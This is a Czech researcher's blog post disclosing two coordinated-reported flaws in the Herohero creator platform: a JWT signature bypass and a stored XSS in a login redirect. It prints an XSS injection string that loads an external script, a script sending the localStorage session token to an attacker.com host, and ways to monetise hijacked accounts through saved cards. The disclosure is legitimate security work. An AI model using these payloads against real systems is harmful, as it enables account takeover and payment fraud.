Herohero: Data všech uživatelů byla ohrožena, možnost krádeže desítek milionů korun

1. srpna 2024

V tomto blog postu popíšu dvě závažné bezpečnostní chyby nalezené na platformě Herohero, které umožňovaly kompletní přístup k cizímu účtu.

U jedné z chyb šlo používat zcela libovolný účet, stačilo jen znát adresu profilu. Žádná interakce od uživatele (např. zadávání údajů) nebyla nutná. 💀

S účtem šlo poté dělat skoro cokoliv — upravovat/mazat/přidávat příspěvky, číst a psát soukromé zprávy, vytvářet odkazy pro bezplatné doživotní předplatné nebo třeba měnit cenu předplatného. Kromě běžných funkcích bylo možné také používat platební kartu uživatele. To vše bez jeho vědomí, a to i včetně nastavené 3D Secure ochrany. 😈

Celý tento text je i zpracován formou videa:

Kapitoly:

Herohero

Herohero (https://herohero.co) je českou alternativou k Patreonu. Jedná se o platformu pro tvůrce, kteří chtějí sdílet svůj obsah se svými fanoušky. Stránka funguje na bázi měsíčního předplatného. Uživatel si předplácí vybrané tvůrce a tím získá přístup k jejich exkluzivnímu obsahu.

Tato platforma je mezi tvůrci populární především díky českému zázemí, své jednoduchosti a nižším administrativním poplatkům ve srovnání s konkurenčním Patreonem.

Tvůrci, kteří publikují na Herohero, jsou například Martin "Mikýř" Mikyska, Čestmír Strakatý, Ondřej Novotný, Petr Mára, Stejk, Kovy, Kluci z Prahy a mnoho dalších.

Velká oblíbenost platformy mě přivedla k tomu, abych se na Herohero podíval blíže, a to z pohledu bezpečnosti. Kontaktoval jsem proto spoluzakladatele Vojtěcha Otevřela před velikonočními svátky v roce 2023 a po svátcích jsem zaslal několikastránkový report s nálezy. Jednalo se o vlastní iniciativu, ne o domluvený bezpečnostní test (penetrační test).

Jak jsem postupoval (technický write-up)

V zaslaném reportu jsem dohromady popisoval šest nálezů, dvě nejzávažnější zranitelnosti budu více rozebírat v následujících částích.

A začnu popisem té nejkritičtější…

Herohero používá pro autentizaci uživatele JSON Web Token (JWT).

V době reportování se tento token posílal jako Authorization v hlavičce požadavku (Authorization: Bearer <token>). Nyní je používán v cookies pod názvem accessToken2.

JWT token pro uživatele testaccountjednaqgymildk v době testu vypadal následovně:

eyJhbGciOiJSUzI1NiJ9.eyJpZCI6InRlc3RhY2NvdW50amVkbmFxZ3ltaWxkayIsImV4IjoxNjgwODc2NTU2LCJybyI6MH0.tz_zh6BgDfRniBvDRq0G2wacdBSAeopolGKBieoHmN7jX7Ocf-Jy5bV2mG_IOU9RKigfVQtvhTaRU3wsNJfDcqMexZDWzWRrXYONIpjmcx1XvT5UAmK5Zufec01ypgSB3Oj3_qUnA_K8Q-zT6tjEAEYOwu6UcZr5FQbT986WJabV8XJdIplhVi5UULwL8O0SpztNcnGtcLzNFJfx009BzPNhkC8VCbQBnrAQkCosRDYZtZc2rUegST-T4b1PIKZkfzsPRYBNqy5-_BWlNqy5DhlBOKKAItpoVmNR97j_P_f2EJVCCYU3IQbQ1_Roq9vXJYD5y6tX_1tOoWgPLywfxA

Výsledkem po dekódování z Base64 bylo:

{"alg":"RS256"}.{"id":"testaccountjednaqgymildk","ex":1680876556,"ro":0}.tz_΁€7ў o
´lqÐRê)¢QŠ'¨c{~Îq-'.[Wi†_IOU9RKigfVQtvhTaRU3wsNJfDcqMexZDWzWRrXYONIpjmcx1XvT5UAmK5Zufec01ypgSB3Oj3_©IÀ_K8Q-Í>­Œ@`ì.éG¯‘Pm?|ébZm_%Ò)–båEÀ¿Ñ*s´×'×ÌÑI4ôÏ6ñP›@ë	¢ÄCa›YsjÔz“-O†õ<‚™‘üì=6¬¹-_iM«.C†PN( ¶š˜Ô}î_P_a	T ˜Srm
_FŠ½½rXœºµ_1tOoWgPLywfxA

V první části tokenu si můžete všimnout, že pro podepisování obsahu (payloadu) se používá algoritmus RS256. Tímto podpisem (signature) je poté ověřeno, že obsah JWT tokenu nebyl změněn. Jakákoliv změna v tokenu vede k tomu, že nebude souhlasit signature = neplatný JWT token.

Prvně jsem se rozhodl otestovat funkčnost tohoto ověřování. Změnil jsem tedy ID uživatele v tokenu při zachování všeho ostatního.

Při změně ID uživatele nebyl token akceptován a došlo k odpovědi "401 Unauthorized". Možná trochu naivní pokus, ale zkusit jsem to musel.

Pro změnu JWT tokenu v Burp Suite doporučuji používat doplněk JSON Web Tokens, který při změně dat zachovává validní formát

Při testování JWT tokenu obvykle jako první zkouším tzv. "None Algorithm Attack". Tento typ zranitelnosti znám z různých veřejných reportů a JWT testovacích labů, ale nikdy jsem se s tím nesetkal v reálném prostředí.

Jedná se o změnu "alg" v headeru z "RS256" na "none". Změnou šifrovacího algoritmu na tuto hodnotu je možné odstranit signature část u tokenu, protože ověřovací podpis již není potřeba - je přeci nastaven "none" algoritmus 🙂

Zkusil jsem takto upravit JWT token u svého účtu.

Požadavek s {"alg":"RS256"}

Požadavek s {"alg":"none"} bez podpisu

Změněním hodnoty u "alg" na "none" a odstranění podpisu došlo u Herohero k vykonání validního požadavku. Část v JWT zabraňující změnám (signature) tedy šlo zcela vynechat.

Jak jsem výše popisoval, prvně jsem zkoušel změnit id uživatele s podpisem (signature) z mého profilu, což končilo odpovědí "401 Unauthorized". Nyní jsem ale věděl, že podpis v JWT není vůbec potřeba.

Nastavil jsem tedy "none", odstranil podpis a upravil id uživatele…

Požadavek s {"alg":"none"}, uživatel s id testaccountjednaqgymildk

Požadavek s {"alg":"none"}, uživatel s id emilkazumovanrbynjhs

… a požadavek se změnou ID uživatele se úspěšně vykonal!

Tímto jsem nalezl bezpečnostní zranitelnost umožňující používat libovolný účet uživatele na platformě Herohero → JWT Authentication Bypass. Útočníkovi stačilo pouze ID uživatele (oběti), které je jednoduše dohledatelné – stačílo znát pouze URL profilu.

API endpoint https://svc-prod.herohero.co/api/v2/users?path=<URL-PROFILU> vrací v odpovědi ID uživatele (například https://svc-prod.herohero.co/api/v2/users?path=cestmir).

U této chyby bylo ještě jedno důležité chování. Do hodnoty "alg" se nemuselo zadat pouze "none", ale dala se sem napsat zcela libovolná hodnota a i tak došlo k vykonání požadavku.

Hodnota "alg" mohla být dokonce zcela prázdná.


Video s JWT zranitelností:

Časová osa
00:25 - Získání ID oběti podle URL
00:50 - Uložený požadavek s response útočníka
01:00 - Nahrazení ID oběti v URL požadavku (bez změny JWT - token útočníka)
01:17 - Nastaven "none" attack a změna ID v tokenu
01:30 - Získání e-mailu přihlášeného uživatele - účet oběti
01:49 - Odeslání požadavku s libovolným textem v "alg"

Nejednalo se tedy o běžnou "none algorithm attack" zranitelnost, dalo by se to nazvat jako "only payload attack". 🙃

Toto byla první zranitelnost, kterou jsem při testování Herohero našel. Věděl jsem tedy, že už budu zasílat report, a tak jsem se dal do hledání dalších zranitelností…

Při testování webových aplikacích se vždy snažím najít zranitelnost umožňující krádež session přihlášeného uživatele tzv. Session Hijacking (nalezeno například u Seznamu, Košíku, Fortuny, Tipsportu a dalších). Šel jsem tedy hledat tuto zranitelnost i zde.

Autentizace uživatele je řešena přes zmíněný JWT token, který byl součástí request headeru. Tato hodnota musela být v prohlížeči někde uložena, protože zde nedocházelo k odhlášení, například při zavření prohlížeče.

Po smazání všech cookies jsem byl stále přihlášen. Došel jsem k závěru, že pro uživatelskou session se používá hodnota __herohero v localStorage.

Hodnota __herohero v localStorage:

==QfiM3YiojIlxWYj9GbiwSZzxWYmpjIsFGZv1UZilmcjNnY1NlblB3blJnIsU2csFmZ6IiclRmbp1WZSRXdvlXYQd3boNnIsU2c
sFmZ6IyZ1JWZkJCLsxWdupjIUdWay9mIsU2csFmZ6ICctlmIsISUGtEZyY0czU0atxkRJJjMzkmMxMTbSZFZwVVMHNGUu
NVVlhXOvBzNUFlbPREV3wWZ6Z3Q61iMxIFRMFUTWJFeM9kaEFmeahFTMV1QHlGSWdVWyITLKNlT2lkW5kzSTdULFBT
VDNmbE9GSzFES2VXN65GbXlTV5MmQ2ITMBBzdh1Cb0k2QfBzRtJXNoV0QONHeNF0TQF2RahGc0dWZrNTc1VDO1RkU
aZkdGVET480c4tUMZJWdQBHez8UN2lXShhDdzxGSadmRtRHZulHVxMjZwRzduNWYHZ1UntGODpEbTJUdT9kT1FUUM9
Ual5mMXZEbjZGOxVzYWBlcQ5mcLp3XthHT0lXefN2Q0JkduZ2cqNzdNFUVZBXbZ9mSvhkZwd0V48WW1R1V5FjejN1Ma
N3MVRnVYtUZJZ0S3AXb0QHO3E3RrhTcxYEdyFEVwMmQq1SbKl3a1VnLwgUT2kUeilnSDxENjR1TzEEVPd3Zq5EevpWS
0YVbJNXS5F2a4dVY0x2MahnRtJ2aW1WYwUzVkZnTykFaSNzYsJlbJZTSDpFcKlXZukjSp5UMJpXVTpUaPl2YHJGaKlXZioj
I0Jye!

Reverse (__herohero):

!eyJ0IjoiZXlKaGJHY2lPaUpTVXpJMU5pSjkuZXlKcFpDSTZJblJsYzNSaFkyTnZkVzUwYW1Wa2JtRnhaM2x0YVd4a2F5SXN
JbVY0SwpveE5qZ3dPVEEzT1RjNExDSnlieUk2TugwLnV1a3lKbS1qQmMwVEFydEYxcThrR3E3OHQ0bXA3S0ZJZUtYVnR
VM3NaM1NjejF5V1R1WW84V0dwZkhvSm9ZbXBZVUFNdzNqc2ZudkJ0Q2NfeXl0THhtX3pLcm5QclBWYzVxOGZjbEZXM
m5laU9MUUF1Tk9TdUJTbEpDOGtnU1ZHYWNudzRwZjMxVHluZHRtRmdaSGxzdDhhSXl2NU8zeHBQdWJZMUt4c084TEV
GdkZaUkR1ODV1cTNrZWd0cGhaR2FQT0FNeHNOQ0VoNXJtRzBfQ2k0bC1hdzBBMTI2QmM5VTlXbG56NXV2SEFzSG9Eb
mNDVTBFLUdTSzk5Wkl2TlNKLTIyWVdWSGlHQ1VMTFhaemFEak9MeFJWTUFMRFIxMi16Q3Z6ZWw3VERPblFUNzBvOX
hlVVNuUGNHMVVwZFZSbTMxMmkzMjJJRkxta0Uzc0YyZEtGUSIsImltcCI6ZmFsc2UsIm9yaWdUIjpudWxsLCJkZWJ1ZyI6
ZmFsc2UsInNob3dQYXlvdXRSZW1pbmRlciI6ZmFsc2UsInJlb3BlblN1YnNjcmliZU1vZGfsIjpmYWxzZSwibG9jYwxlIjoiY3M
ifQ==

Decode Base64(reverse (__herohero)):

!{"t":"eyJhbGciOiJSUzI1NiJ9.eyJpZCI6InRlc3RhY2NvdW50amVkbmFxZ3ltaWxkayIsImV4IjoxNjgwOTA3OTc4LCJybyI6MH0.uukyJm-jBc0TArtF1q8kGq78t4mp7KFIeKXVtU3sZ3Scz1yWTuYo8WGpfHoJoYmpYUAMw3jsfnvBtCc_yytLxm_zKrnPrPVc5q8fclFW2neiOLQAuNOSuBSlJC8kgSVGacnw4pf31TyndtmFgZHlst8aIyv5O3xpPubY1KxsO8LEFvFZRDu85uq3kegtphZGaPOAMxsNCEh5rmG0_Ci4l-aw0A126Bc9U9Wlnz5uvHAsHoDncCU0E-GSK99ZIvNSJ-22YWVHiGCULLXZzaDjOLxRVMALDR12-zCvzel7TDOnQT70o9xeUSnPcG1UpdVRm312i322IFLmkE3sF2dKFQ","imp":false,"origT":null,"debug":false,"showPayoutReminder":false,"reopenSubscribeModal":false,"locale":"cs"}

Hodnota t = JWT token

Ukládání uživatelské session do localStorage je z bezpečnostního hlediska absolutně nevhodné. Celá tato storage (stejně jako sessionStorage) je totiž přístupná javascriptem, a tudíž ji lze vyčíst pomocí XSS zranitelnosti. Bezpečnějším řešením je ukládat session do cookies s atributem HttpOnly.

Jelikož byla session v localStorage, stačilo mi tedy nalézt XSS zranitelnost.

Otestoval jsem několik funkcionalit, které se nabízely (přidání příspěvku, odeslání soukromé zprávy, přidání přílohy…), vše ale bylo dobře ošetřeno.

Dokonce kdybych chybu našel, pravděpodobně bych narazil na menší překážku. Herohero jako jedna z mála společností používá bezpečnostní hlavičku Content-Security-Policy (CSP header).

Hlavičku by šlo obejít, jen by to bylo celé trochu komplikovanější...

Myslel jsem si, že XSS v rozumném čase nenajdu, ale nakonec přeci jen.

Při testování jsem používal různé účty a všiml jsem si, že při requestu pro přihlášení se kromě emailu posílá také URL adresa (redirectURL), která slouží pro přesměrování uživatele po přihlášení.

Posílaná hodnota redirectURL mě velmi zaujala, a tak jsem ji začal více zkoumat…

Zjistil jsem, že při otevření přihlašovacího odkazu (například: https://herohero.co/services/auth/email/v1/finish?tokens=ckfepynzjbqhnigrxosgyahaazkftvhj) je redirectURL použitý v response, konkrétně jako window.location.href.

Tím že window.location.href je již javascript, zkusil jsem vložit do redirectURL rovnou javascriptový kód.

';alert(1);//

'; - uzavření window.location.href
alert(1); - vyvolání alertu pro důkaz XSS
// - zakomentování zbytku

Po otevření přihlašovacího odkazu se vše propsalo do response:

A v prohlížeči se zobrazil alert.



Video s XSS zranitelností:
0:33 - Vytvoření odkazu na neexistující URL
2:32 - Vytvoření odkazu obsahující alert
3:00 - Otevření přihlašovacího odkazu s XSS

Jak jsem již zmiňoval, Herohero používá CSP header. Shodou náhod není tento header u přihlašovacího odkazu použit, což zvyšuje použitelnost XSS zranitelnosti.

Útočník je tímto schopen načíst celý svůj skript z externího zdroje.

Výsledná hodnota pro redirectURL mohla vypadat takto:

';d=document;s=d.createElement('script');s.src='https://example.com/x.js';
d.getElementsByTagName('head')[0].appendChild(s);//

Stored XSS načítající externí script:

Útočník si tímto mohl vytvořit svůj přihlašovací odkaz obsahující vlastní skript. U uživatele, který by nějakým způsobem přešel na tento odkaz, by došlo ke krádeži jeho session = pomocí javascriptu by byla ukradena hodnota _herohero z localStorage.

Útočník by samozřejmě nepoužil při útoku přihlašovací odkaz v běžné formě. Spíše by využil nějakou vlastní doménu, zkracovač adres (bit.ly, t.co...) nebo by využil Open Redirect zranitelnosti u důvěryhodné společnosti. Po úspěšném útoku by samozřejmě došlo k přesměrování zpět na původní web.

Toto byly dvě nejzávažnější zranitelnosti, které byly nalezeny během testu. U obou chyb bylo možné používat libovolný cizí účet. Zranitelnost JWT Authentication Bypass umožňovala přihlášení se na libovolného uživatele zcela bez asistence oběti, tzv. 0-click attack - stačilo zadat pouze ID profilu. Druhá zranitelnost (Session Hijacking - Stored XSS) vyžadovala otevření odkazu přihlášeným uživatelem.

Souhrn nalezených zranitelností

Níže najdete shrnutí nalezených zranitelností. Podrobnější vysvětlení dopadu (impactu) vysvětlím v části Příklady zneužití.

1) JWT Authentication Bypass

Popis

Herohero používal pro autentizaci uživatele tzv. JWT token s použitím algoritmu RS256. Tento algoritmus bylo možné v tokenu upravit na libovolnou hodnotu a zcela vynechat ověřovací část (signature), která za normální situace ověřuje změny, tedy bylo možné udělat tzv. "none algorithm attack" jen s tím rozdílem, že místo "none" šlo zadat cokoliv.

Tímto chybným ověřováním bylo možné změnit ID uživatele v tokenu a po odeslání došlo k přihlášení na daného uživatele. Útočník byl poté schopen změnit ID na libovolného uživatele a používat jeho účet.

ID uživatele není predikovatelné (např. id=10001, 10002, 10003), ale i tak bylo jednoduše dohledatelné skrze API. Útočník si mohl vylistovat od tvůrců seznam jejich předplatitelů, čímž získal desítky tisíc uživatelských ID, a tedy získal přístup k desítkám tisíc účtů.

Méně technicky
Útočník byl schopen se přihlásit na zcela libovolného uživatele. Jediné, co musel udělat, bylo odstranit "bezpečnostní ověřovací" část v přihlašovacím tokenu a změnil své ID za cílový účet. I přes absenci "bezpečnostní části" došlo na platformě k úspěšnému přihlášení, a útočník mohl takto používat cizí účet.

Plusy (pohledem útočníka):

  • 0-click zranitelnost (žádná interakce od oběti)
  • Přihlášení na libovolného uživatele (získání soukromých zpráv, zveřejnění příspěvku z profilu tvůrce…)
  • Odhlášení oběti nemělo vliv na přihlášeného útočníka
  • Velké množství ID uživatelů šlo získat přes výpis odběratelů u tvůrce
  • Velký finanční prospěch

    doplňkové:
  • Herohero funguje na předplatném, ne na jednorázovém příspěvku
    → platební karta má jiný příznak (vysvětleno v následující části)
  • Platba jde přímo přes zprostředkovatele platby Stripe, ne přes Herohero
    → reklamace plateb by byla komplikovanější
  • Populární služba mezi tvůrcema obsahu
    → velký výběr komunit pro sdílení příspěvku/scamu

Mínusy:

  • ID uživatele nelze jednoduše inkrementovat (např. id=10025, id=10026, id=10027…)
    → lze to obejít výpisem odběratelů

Hodnocení: CRITICAL (vyšší - 10.0)

Ovlivněna dostupnost (smazání všech příspěvků a zpráv), narušena integrita i důvěrnost (úprava příspěvků, čtení soukromých zpráv). Kromě toho bylo možné získat od uživatelů finanční prostředky ve velkém rozsahu. Zranitelnost byla typu "0-click" - útočník nepotřeboval žádnou interakci od oběti.

2) Session Hijacking (Stored XSS + localStorage)

Popis

Dvě nalezené chyby vedly k tomu, že bylo možné ukrást session přihlášeného uživatele (Session Hijacking).

První chybou bylo to, že uživatelská session byla uložena v localStorage, a tím pádem nebyla tato hodnota zabezpečena proti čtení pomocí javascriptu. Druhou chybou byla špatně ošetřená hodnota redirectUrl proti XSS, která se používala u přihlašovacího požadavku.

U přihlášení na Herohero se zadává e-mail, na který přijde přihlašovací odkaz. Při zadávání e-mailu se posílá request obsahující kromě emailu také hodnotu redirectUrl, která za normální situace uživatele přesměruje zpět na stránku odkud se přihlašoval. Tím, že tato hodnota nebyla ošetřena, mohlo dojít k vykonání libovolného skriptu.

Přihlašovací odkaz obsahoval pouze hash (https://herohero.co/services/auth/email/v1/finish?tokens=ckfepynzjbqhnigrxosgyaha), jednalo se tedy o XSS zranitelnost typu Stored.

Kombinací zranitelnosti Stored XSS a nebezpečně uložené session v localStorage bylo možné ukrást uživatelskou relaci. U této chyby byla nutná asistence od oběti — uživatel musel otevřít odkaz od útočníka.

Méně technicky
Útočník mohl do přihlašovacího odkazu vložit vlastní kód, kterým mohl ukrást „přihlašovací token” uložený v prohlížeči. Jestliže přihlášený uživatel na Herohero otevřel odkaz od útočníka, tak došlo ke krádeži jeho relace (AccesTokenu) a bylo možné se na jeho účet přihlásit.

Plusy (pohledem útočníka):

  • Kromě otevření odkazu nebyla nutná další asistence
  • Bylo možné využít pouze XSS zranitelnosti
    → veškerá aktivita by byla logována pod IP/zařízení oběti
  • Jedno otevření odkazu od tvůrce se mohlo velmi rychle šířit
    → otevření odkazu → vytvoření postu + poslání všem soukromé zprávy s odkazem
  • Chybějící hlavička Content-Security-Policy
  • Velký finanční prospěch

    doplňkové:
  • Herohero funguje na předplatném, ne na jednorázovém příspěvku
    → platební karta má jiný příznak (vysvětleno v následující části)
  • Platba jde přímo přes zprostředkovatele platby Stripe, ne přes Herohero
    → reklamace plateb by byla komplikovanější
  • Populární služba mezi tvůrci obsahu
    → velký výběr komunit při sdílení příspěvku/scamu

Mínusy:

  • Nelze se přihlásit na zcela libovolného uživatele
  • Uživatel se musel nějakým způsobem dostat na přihlašovací odkaz
    → přesměrování z cizí stránky / otevření odkazu v soukromých zprávách / otevření emailu od Herohero
  • Jedná se o Session Hijacking - odhlášení oběti vede k vypršení relace

Hodnocení: CRITICAL (nižší)

I když je nutná interakce od oběti (otevření odkazu), nemohu to hodnotit jako HIGH, protože finanční dopad mohl být stále obrovský. Otevření odkazu se dalo vyřešit vytvořením příspěvku z profilu tvůrce, kde běžně tyto posty odkazy obsahují. Dále se to dalo řešit například editací úvodního textu (bio) a nahrazením všech odkazů, nebo odesláním soukromé zprávy. Běžně je Stored XSS zranitelnost hodnocena jako HIGH, v tomto případě je ještě nutné zahrnout celkový dopad (Všechny příklady zneužití).

Videa a exploit

1) JWT Authentication Bypass

Ve videu níže ukazuji, jak změnou uživatelského ID v tokenu bylo možné používat cílový účet:
0:08 - Získání ID cílového účtu
0:30 - Nastavení "none" pro JWT
1:04 - Přidání explicitního příspěvku
1:26 - Přidání Krypto scamu formou příspěvku
1:52 - Získání dat pro změnu předplatného
2:47 - Změna předplatného z 20€ na 3 €
3:13 - Ověření změn

Před samotným testem na Herohero jsem požádal o součinnost spoluzakladatele společnosti Vojtěcha Otevřela. Požádal jsem ho o vytvoření profilu, který budu moci "napadnout" a v případě úspěchu provést i několik změn.

E-mail s požadavky:

Ještě ten samý den byl účet připraven (https://herohero.co/testovaci):


Po pár dnech jsem poslal report s tímto výsledkem:

Testovací účet před a po testu:


Video obsahující celý postup:

Časová osa
1:20 - Získání JWT Tokenu pro účet /testovaci
1:45 - Přidání příspěvku s "explicitním" obrázkem
2:06 - Přidání příspěvku s krypto scamem
3:04 - Získání soukromých zpráv
3:40 - Odeslání soukromé zprávy
6:52 - Získání odkazu pro bezplatné předplatné
9:56 - Změna předplatného z 400€ na 3€
11:26 - Příprava pro platbu uloženou kartou
13:30 - Platba předplatného u Čestmíra Strakatého (karta je spoluzakladatele)

Veškeré změny byly provedeny skrze API. Session se dala také nahradit přímo v localStorage a veškeré změny šlo provést i skrze prohlížeč.

2) Session Hijacking (Stored XSS + localStorage)

Shrnutí nálezů před psaním exploitu

  1. Session v localStorage
  2. Zranitelné returnURL obsahující XSS
  3. Chybějící CSP header - možnost využití externího skriptu

Vytvoření Herohero odkazu načítající můj externí skript:

';d=document;s=d.createElement('script');s.src='https://example.com/x.js';
d.getElementsByTagName('head')[0].appendChild(s);//

Obsahem externího skriptu (example.com/x.js) poté bylo:

var session = window.localStorage.__herohero;

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
		window.location.href = 'https://target-url.com'; // přesměrování na cílovou stránku po krádeži session
    }
};
xhttp.open("GET", "https://attacker.com/cookies.php?c="+session, true); // odeslání requestu na server
xhttp.send();

Popis:

  1. Vytvořený přihlašovací odkaz načítá externí skript example.com/x.js
  2. Skript načte hodnotu __herohero z localStorage
  3. Na server útočníka je odeslán GET request obsahující načtenou hodnotu
  4. Po odeslání hodnoty je uživatel přesměrován na cílovou adresu

Všechny příklady zneužití

Níže popíšu dopad zranitelnosti JWT Authentication Bypass.

Zranitelnost Session Hijacking (XSS) měla podobný dopad, ale vyžadovala jednu interakci ze strany uživatele – otevření odkazu. Na druhou stranu mohla veškerá aktivita probíhat ze zařízení oběti. Vše by bylo zalogováno ze stejného zařízení (stejného prohlížeče), stejné IP adresy, takže případné reklamace a dokazování by bylo velmi problematické.

1) 🔗 Vytvoření invite odkazů

Útočník byl schopen u všech tvůrců vytvořit odkaz, který mu umožnil získat bezplatné doživotní předplatné. Těchto pozvánek mohl vygenerovat neomezené množství.

2) 📉 Změna ceny za předplatné

U každého tvůrce mohl útočník změnit cenu předplatného. O této změně není uživatel nijak informován a musel by si sám všimnout jiného nastavení. Než by došlo k opravě, mohl by mohl tvůrce přijít o část peněz, které by od předplatitelů jinak získal.

3) 💬 Čtení, odstranění a rozesílání soukromých zpráv

Nejenže si útočník mohl číst všechny zprávy a mazat celé konverzace, ale také mohl rozesílat nové soukromé zprávy pod účtem oběti — například podvody (crypto scamy) nebo odkazy se zneužitím bezpečnostní chyby (Session Hijacking/XSS).

4) 📄 Přidávání, editace a odstranění příspěvků

Útočník byl schopen publikovat obsah u všech tvůrců: mohl zveřejnit explicitní obrázky, politické příspěvky v předvolebním období, příspěvek s krypto scamem nebo jiné. Stejně tak mohl všechny příspěvky mazat.

5) 🗃️ Získání celé databáze portálu Herohero

Útočník se mohl přihlásit na libovolného tvůrce a získat celý seznam jeho předplatitelů. Další uživatele mohl získat například pomocí vyhledávací funkce. Tímto by získal seznam uživatelů a následně jejich data – všechny příspěvky, všechny soukromé zprávy, identifikační údaje uživatelů (e-mail, expirace a poslední čtyři čísla platební karty) nebo identifikační údaje tvůrce (jméno, příjmení, adresa, příjmy z předplatného... později bylo možné získat telefon a datum narození)

6) 💳 Používání uložených plateb karet k zaplacení profilu útočníka

Útočník byl schopen používat uložené karty všech uživatelů, tedy karty, se kterými již byla jednou provedena platba (již ověřeno 3D Secure). Tím mohla vzniknout obrovská finanční škoda 💰 (podrobnosti v části Chyba s dopadem za desítky milionů korun)

Karta s 3D Secure — jsem v bezpečí? Ne tak úplně

Platbu na internetu pomocí platební karty není pravděpodobně nutné nijak zvlášť popisovat. Jedná se dnes o populární metodu platby na mnoha internetových stránkách.

Z pohledu bezpečnosti se všude zmiňuje zavedená technologie 3D Secure, která chrání před zneužitím platební karty. Používá-li platební brána tuto technologii, tak dochází u každé platby k dodatečnému ověření pomocí druhého faktoru (notifikace, sms), a tím by se mělo zneužití zabránit.

Tím pádem se může zdát, že jsou internetové platby pomocí karty naprosto bezpečné a ke zneužití dojít nemůže. Existuje tady ale jedno velmi závažné riziko a to je… uložení platební karty.

Společnosti tuto funkci nabízejí s tím, že informace o kartě se neukládají u nich a nikdo tyto údaje nemůže zneužít. Informace o platební kartě (číslo karty, CVC) získat nelze, to je pravda. Důležité pro útočníka ale je, že uloženou kartu může obvykle používat bez dalšího ověření na dané stránce. Toto je obecný problém u všech e-shopů a portálů.

Co to tedy znamená? Útočník, který získá přístup k účtu na libovolné platformě může provádět transakce na té stránce. Uvedu-li příklad: Jestliže útočník získá přístup k vašemu účtu do aplikace rozvážející jídlo, kde je uložená karta (Wolt, Foodora, Bolt Food), tak je útočník schopen kartu použít a objednat si z vaší karty libovolné jídlo.

Testovací platba na Rohlik.cz:
Datum: 23.07.2024
Platba: 4 485,12 Kč
Nastavení: 51.178.37.209 (Francie), Firefox, Linux (jiné než obvykle)
Cílová adresa byla jiná než obvykle
Platba bez potvrzení transakce: Ano ⚠️

Toto je velmi častý případ zneužití, protože útočník potřebuje nějak „zpeněžit“ získaný přístup k účtu. Jediné, čeho je schopen provést je odeslat objednávku a zaplatit ji právě uloženou kartou. V některých případech dochází při změně IP adresy nebo změně zařízení znovu ověření k platbě. Tak či tak, dopad je omezený a útočník získá maximálně produkt, který aplikace/e-shop nabízí.

V momentě, kdy je platba založená na předplatném (Netflix, Voyo, Spotify apod.), je situace výrazně jiná. Karta je po první úspěšné transakci uložena a další platby se strhávají automaticky VŽDY bez dalšího ověření. Důležitým aspektem je, že pro tyto předplatné nelze používat jednorázovou virtuální kartu.

Pokus o platbu jednorázovou Revolut kartou na Herohero

Případný útočník je u platforem s předplatným opět velmi omezen nabídkou, tedy tím, za co může kartou platit. Ve většině případů může útočník prodloužit členství/licenci (Adobe, Voyo, Netflix) na nějaké období, čímž výrazný profit nezíská.

U Herohero a podobných portálů (Patreon, Twitch, Youtube) má ale zcela jiné možnosti. Útočník je schopen si vytvořit vlastní profil tvůrce s libovolnou částkou za předplatné a tento svůj profil s ukradeným účtem zakoupit. Tímto získá napřímo finanční prostředky, které mu jsou vyplaceny přes zprostředkovatele platby. U Herohero je to společnost Stripe.

Problém Herohero, respektive Stripe, je ten, že i když se změní částka za předplatné, změní se tvůrce, změní se IP adresa, nebo se změní doslova celé zařízení, stále je možné provést platbu s uloženou platební kartou bez dalšího ověření. Daná částka ani nemusí být pouze pod 500 Kč nebo pod 1000 Kč, platba bez dalšího ověření procházela také u částek 5000 Kč (200€), nebo i dokonce 10 000 Kč (400€ - nejvyšší možné předplatné).

Když si dáte do souvislosti, že bylo možné přihlásit se na zcela libovolného uživatele a že desítky tisíc ID uživatelů bylo možné získat skrze podporovatele, je jasné, že se jednalo o velmi závažný problém.

Abych si ověřil, že platby u Herohero takto skutečně fungují, provedl jsem několik testů. Založil jsem si několik nových účtů a zaplatil předplatné u různých tvůrců, čímž se mi automaticky uložila platební karta. Po nějaké době jsem sám sobě "ukradl" session, přihlásil se na jiném zařízení a provedl další platbu (předplatné vlastního profilu Tvůrce).

Revolut
Datum: 19.8.2023
Platba: Čestmír Strakatý (5€)
Nastavení: 146.70.129.19, Chrome, Windows
První platba - uložena karta 💾

Datum: 29.11.2023 (3 měsíce neaktivní účet)
Platba: Tvůrce (200€)
Nastavení: 192.42.116.196 (TOR), Firefox, Linux
Platba bez potvrzení: Ano ⚠️
Video s platbou:


Česká spořitelna
Datum: 25.11.2023
Platba: Čestmír Strakatý (5€)
Nastavení: 146.70.129.30, Chrome, Windows
První platba - uložena karta 💾

Datum: 27.11.2023
Platba: Tvůrce (45€)
Nastavení: 185.220.102.245 (TOR), Firefox, Linux
Platba bez potvrzení: Ano ⚠️

Datum: 19.07.2024 (skoro 8 měsíců neaktivní účet)
Platba: Tvůrce (400€)
Nastavení: 51.195.116.184, Firefox, MacOS
Platba bez potvrzení: Ano ⚠️


Airbank
Datum: 25.11.2023
Platba: Petr Mára (10€)
Nastavení: 146.70.129.19, Chrome, Windows
První platba - uložena karta 💾

Datum: 27.11.2023
Platba: Tvůrce (45€)
Nastavení: 192.42.116.187 (TOR), Firefox, Linux
Platba bez potvrzení: Ano ⚠️

Datum: 13.07.2024
Platba: Petr Mára (10€)
Nastavení: 109.123.234.151, Chrome, Windows
Platba bez potvrzení: Ano ⚠️

Fio Banka
Datum: 29.11.2023
Platba: Michael Rozsypal (4€)
Nastavení: 146.70.129.19, Chrome, Windows
První platba - uložena karta 💾

Datum: 29.11.2023
Platba: Tvůrce (25€)
Nastavení: 109.70.100.1 (TOR), Firefox, Linux
Platba bez potvrzení: Ano ⚠️

Google Pay (Česká spořitelna)
Datum: 25.11.2023
Platba: Martin "Mikýř" Mikyska (6€)
Nastavení: 146.70.129.30, Chrome, Windows
I u platby přes Google Pay dochází k uložení platební karty 💾

Datum: 27.11.2023
Platba: Tvůrce (25€)
Nastavení: 185.241.208.243 (TOR), Firefox, Linux
Platba bez potvrzení: Ano ⚠️

Chyba s dopadem za desítky milionů korun

Poškození dobrého jména u tvůrců

Tvůrcům to mohlo až nenávratně poškodit jejich pověst a tím výrazně ovlivnit budoucí spolupráce. Skvěle to řekl Petr Mára v rozhovoru u Vojty Žižky.

Zdroj: Vojta Žižka (Patreon)

Shodou okolností i Petr Mára používá Herohero. Představme si situaci, kdy na jeho profilu dojde k přidání příspěvku:

"Nový drop Memento Mori, tentokrát jako NFT kolekce. Exkluzivně jen pro podporovatele na Herohero. Vlastnictvím NFT získá držitel doživotní předplatné."

